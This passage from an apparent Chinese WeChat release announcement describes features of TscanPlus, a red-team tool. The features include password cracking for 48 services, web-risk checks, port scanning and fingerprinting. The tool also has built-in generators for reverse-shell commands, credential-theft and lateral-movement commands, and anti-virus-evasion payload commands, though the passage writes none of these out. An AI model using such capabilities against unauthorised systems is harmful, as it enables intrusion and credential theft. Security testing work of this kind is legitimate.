leaf="">内置智能目录管理机制，自动为重复扫描创建递增编号目录，防止数据覆盖。实时反馈扫描状态（检测中、下载中、已完成），支持代理配置，并统计下载文件数量。所有下载内容保存至本地输出目录，便于后续安全审计与源码分析。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100038205" class="rich_pages wxw-img" data-ratio="0.6138888888888889" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=1581135d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RXLKkerPic6MHLDZB5E4KXboB5mSuX30T6ibKmQQ9ntz0qWPec2V8icxWATYWSo6MtNDTibLVOyicTUnvQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.6 密码破解优化多项检测</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">密码破解修复多个功能Bug：多个账户时进度异常、暂停功能无效、RDP协议闪退、全局超时、资源占用高等。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">截止目前，无影已集成了48种服务和协议的密码破解功能。</span></strong><span leaf="">覆盖的服务包括：SSH,RDP,SMB,MYSQL,SQLServer,Oracle,MongoDB,Redis,PostgreSQL,MemCached,Elasticsearch,FTP,Telnet,WinRM,VNC,SVN,Tomcat,WebLogic,Jboss,Zookeeper,Socks5,SNMP,WMI,LDAP,LDAPS,SMTP,POP3,IMAP,SMTP_SSL,IMAP_SSL,POP3_SSL,RouterOS,WebBasicAuth,Webdav,CobaltStrike等。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100038206" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=c701e89c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RXLKkerPic6MHLDZB5E4KXbo1FSv8DS4ibPZkOCHHUZofkr7AI9Eicy4JHiaeGSmRYS9TeSTgicuibiblZ6A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.7 新增水洞专用模块</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">专为渗透测试工程师设计的自动化（水洞）检测模块，旨在“让天下没有难测的系统，让天下没有难出的报告，让天下没有难过的红队”。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">水洞专用模块参考WaterExp项目思路，内置15+种常见Web安全风险检测规则，涵盖HTTPS配置、Cookie安全、CSP/X-Frame-Options缺失、服务器信息泄露、jQuery版本漏洞、CSRF、不安全HTTP方法、TLS版本过低等。自动识别并关联开放端口与Web服务，评估整体安全态势。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">每项检测自动生成完整证据链，包括HTTP请求/响应抓包、高亮关键信息、自动截图，并提供漏洞详情、测试过程、风险分析及修复建议。规则化漏洞定义，支持快速扩展。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100038207" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=923741bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RXLKkerPic6MHLDZB5E4KXbome9nodfrlibDw4EWGAY5FnbKjBmYcmiakHUND1S6hPnMEB1icUQRhQhow%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100038208" class="rich_pages wxw-img" data-ratio="0.5935185185185186" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=316797ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RXLKkerPic6MHLDZB5E4KXboiaaafhOODxYlWIJsyFjwSSR3XbaMydOLraGJ5Drs75locFhvibIMRKxA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.8 新增多个查询接口</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">ICP查询模块新增镜芯API和ICP_Query模块接口，并支持网站、小程序、APP、快应用等多种类型资产的批量查询。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">支持单域名、多域名、多公司名的查询模式，在查询时会有限查询本地数据库，并对本地数据和网络数据进行去重和整合。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">支持暂停查询、导出数据、设置代理等多种选项，并会根据接口返回数据情况判断是否被封IP，防止资源浪费。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100038209" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=713892ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RXLKkerPic6MHLDZB5E4KXbo0mia18OtK6HyA7GeL26URX8g17phkZylMKS4JkBIghzIdfR0Fysc8icw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100038210" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=34e5c6b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RXLKkerPic6MHLDZB5E4KXbo51DCHiamg6QFpGJLWL3z4ERTWBDZUHXrtm2hjEib2bBSf1SFtibqued1g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.9 端口扫描支持UDP扫描、IPv6协议、防火墙检查等</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">无影在端口扫描时，针对常见UDP协议（如DNS、DHCP、SNMP等协议）进行定向检测，针对SNMP有UDP和TCP两种情况也进行了分别判断，更精准的发现更多资产和指纹。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">当电脑支持ipv6协议时，IP端口扫描也可对IPv6网络进行端口扫描和指纹识别。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100038212" class="rich_pages wxw-img" data-ratio="0.21388888888888888" data-s="300,640" data-type="jpeg" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=f2a15ad3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RXLKkerPic6MHLDZB5E4KXbo11OlOibpBUy0ichcguicEZMjTficXktIUj14v1ZT0kUHlvibc7gCogf5c2A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">另外，当探测某些服务器端口时，有时会发现所有端口都开放，这时可能是目前主机启用了防护措施。为了避免在这种目标上浪费太多时间，无影启用了防火墙检测功能。在开启后会检测防火墙是否开启，如防火墙开启则只扫描常见的50多个端口；关闭该项检测后，会根据配置的端口进行全量扫描。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100038213" class="rich_pages wxw-img" data-ratio="0.5907407407407408" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=edbb6b57&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RXLKkerPic6MHLDZB5E4KXbojESdKiccec3ELpIgMibOCkhrvVqjNZsJKlYPBZMIOaSTFUhickWw9GVlQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.10 web指纹检测性能优化及页面截图</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">目前内置5.2W余条指纹数据，对1万个web系统进行指纹识别仅需8-10分钟。同时增加页面截图功能，方便站点预览。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100038214" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=a054802a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RXLKkerPic6MHLDZB5E4KXboDmLPSNbPJYBlnsg447ib2QCAaXbicexMofV0CqMyHNUjB2icAcr9CyhPA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.11 导出数据支持更多格式</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">所有功能模块支持html和xls格式数据的导出，信息搜集模块也支持对该项目所有数据信息进行整合导出。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100038215" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=d8bc330e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RXLKkerPic6MHLDZB5E4KXboCibSEnGa4jHeCdnXryro6c2hEAMibKia6b8S1FDXwrSmEPTBcvSzGVFEQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100038216" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=e1a78395&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RXLKkerPic6MHLDZB5E4KXboDRAVNtFc1k4eUO1VpBfJX1FNmtY4NYf9cpuPGsoYTib861Xxicytx6Tw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100038217" class="rich_pages wxw-img" data-ratio="0.3333333333333333" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=640ef08e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RXLKkerPic6MHLDZB5E4KXbo2c6gWLDzg5qocpXtOxCK7kKVbINZfxETicH8FicjnKvbOCiaNIrHhoEhQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.12 全面支持中英文切换</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">无影现已支持中英文界面切换。在设置界面可随时切换语言，界面、菜单、提示信息等将实时更新。支持中文（简体）和英文两种语言，满足不同用户需求，提升国际化使用体验。语言设置保存后，重启应用即可生效，方便国内外用户使用。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100038218" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=6baab441&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RXLKkerPic6MHLDZB5E4KXboGPQWPXKj4yHPpGkIgSs94OH271FCZmKGLrIhIN430RVEP0H90UIGoQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">3、其他已有功能</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">【特色功能】</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">1、内置5.2W余条指纹数据，对1万个web系统进行指纹识别仅需8-10分钟，在效率和指纹覆盖面方面应该是目前较高的了。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2、在指纹探测结果中，对130多个红队常见CMS和框架、Poc可关联CMS进行了自动标注。内置大量高质量Poc，并可外接Nuclei、Afrog、Xray等Poc工具，可实现指纹和Poc的联动，根据指纹识别的结果自动关联Poc，并可直接查看poc数据包相关信息。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">3、在创建IP端口扫描、Url扫描时，可关联Poc检测、密码破解、目录扫描等功能，发现匹配的服务或产品时会自动触发密码破解或poc检测。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">4、内置48种常见服务的弱口令破解，可方便管理员对内网弱口令进行排查，为提高检测效率，优选并精简每个服务的用户名和密码字典。覆盖的服务包括：SSH,RDP,SMB,MYSQL,SQLServer,Oracle,MongoDB,Redis,PostgreSQL,MemCached,Elasticsearch,FTP,Telnet,WinRM,VNC,SVN,Tomcat,WebLogic,Jboss,Zookeeper,Socks5,SNMP,WMI,LDAP,LDAPS,SMTP,POP3,IMAP,SMTP_SSL,IMAP_SSL,POP3_SSL,RouterOS,WebBasicAuth,Webdav,CobaltStrike等。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">5、实现了编码解码、哈希计算、加密解密、国密算法、数据格式化、其他转换等共36种类型，其中编码解码类8种、哈希计算13种、加密解密9种、国密算法3种、数据格式化9种、其他2种。包含了AES、RSA、SM2、SM4、DES、3DES、Xor、RC4、Rabbit、Base64、Base32、URL、ASCII、各进制转换、字符串与进制转换、HTML、Unicode、MD5、Hmac、SM3、SHA1、SHA2、SHA3、NTLM、JSON格式化与压缩、XML格式化与压缩、IP地址与整数互转、String.fromCharCode、Unix时间戳互转、文本去除重复行、字母大小写、生成各类随机字符串、字符串反转、JWT解析与弱密码、一键解密OA等。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">6、目录枚举默认使用HEAD方式，可对并发、超时、过滤、字典等进行自定义，内置了DirSearch的字典，可导入自己的字典文件，也可用内置字典fuzz工具进行生成。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">7、内置各类反弹shell命令85条、Win内网(凭证获取、权限维持、横向移动)命令26类、Linux内网命令18类、下载命令31条、MSF生成命令21条、CS免杀上线命令等，可根据shell类型、操作系统类型、监听类型自动生成代码。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">8、灵活的代理设置，可一键设置全局代理，也可以各模块单独开启代理功能，支持HTTP(S)/SOCKS5两种代理，支持身份认证。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">9、快速的子域名探测，域名可联动其他子功能，可配置key后对接多个网络空间探测平台，一键查询去重。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">10、内置资产分拣、JsFinder、Host碰撞、Jwt秘钥破解、IP查询、Windows提权辅助、杀软查询、shiro解密等各类工具。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">TscanPlus 更多其他功能介绍可参考文章：《<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247512632&amp;idx=1&amp;sn=8fb22d0814c7f9929ce59934ac3873e7&amp;scene=21#wechat_redirect" textvalue="TscanPlus——一款红队自动化工具" data-itemshowtype="0" linktype="text" data-linktype="2">TscanPlus——一款红队自动化工具</a>》</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">4、软件下载</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Github下载：<a href="https://github.com/TideSec/Tscanplus/releases" target="_blank">https://github.com/TideSec/Tscanplus/releases</a></span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">1、功能介绍和常见问题：<a href="https://github.com/TideSec/TscanPlus?tab=readme-ov-file" target="_blank">https://github.com/TideSec/TscanPlus?tab=readme-ov-file</a><a class="wx_topic_link" topic-id="mj0uz8fr-l2t2uc" style="color: #576B95 !important;" data-topic="1">#FAQ</a></span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2、启动报错相关问题合集：<a href="https://github.com/TideSec/TscanPlus/issues/226" target="_blank">https://github.com/TideSec/TscanPlus/issues/226</a></span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">3、程序闪退相关说明：<a href="https://github.com/TideSec/TscanPlus/issues/383" target="_blank">https://github.com/TideSec/TscanPlus/issues/383</a></span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">4、反馈Bug领取Key说明：<a href="https://github.com/TideSec/TscanPlus/issues/241" target="_blank">https://github.com/TideSec/TscanPlus/issues/241</a></span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><span textstyle="" style="font-weight: bold;">【转发本文章到朋友圈，获赞30个以上，截图发到&#34;Tide安全团队&#34;公众号后台，可获取一个key，解锁所有PoC功能，本活动截止到12月13日18:00 】</span></span></p></div></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 15px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;z-index: 2;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 2px;max-width: 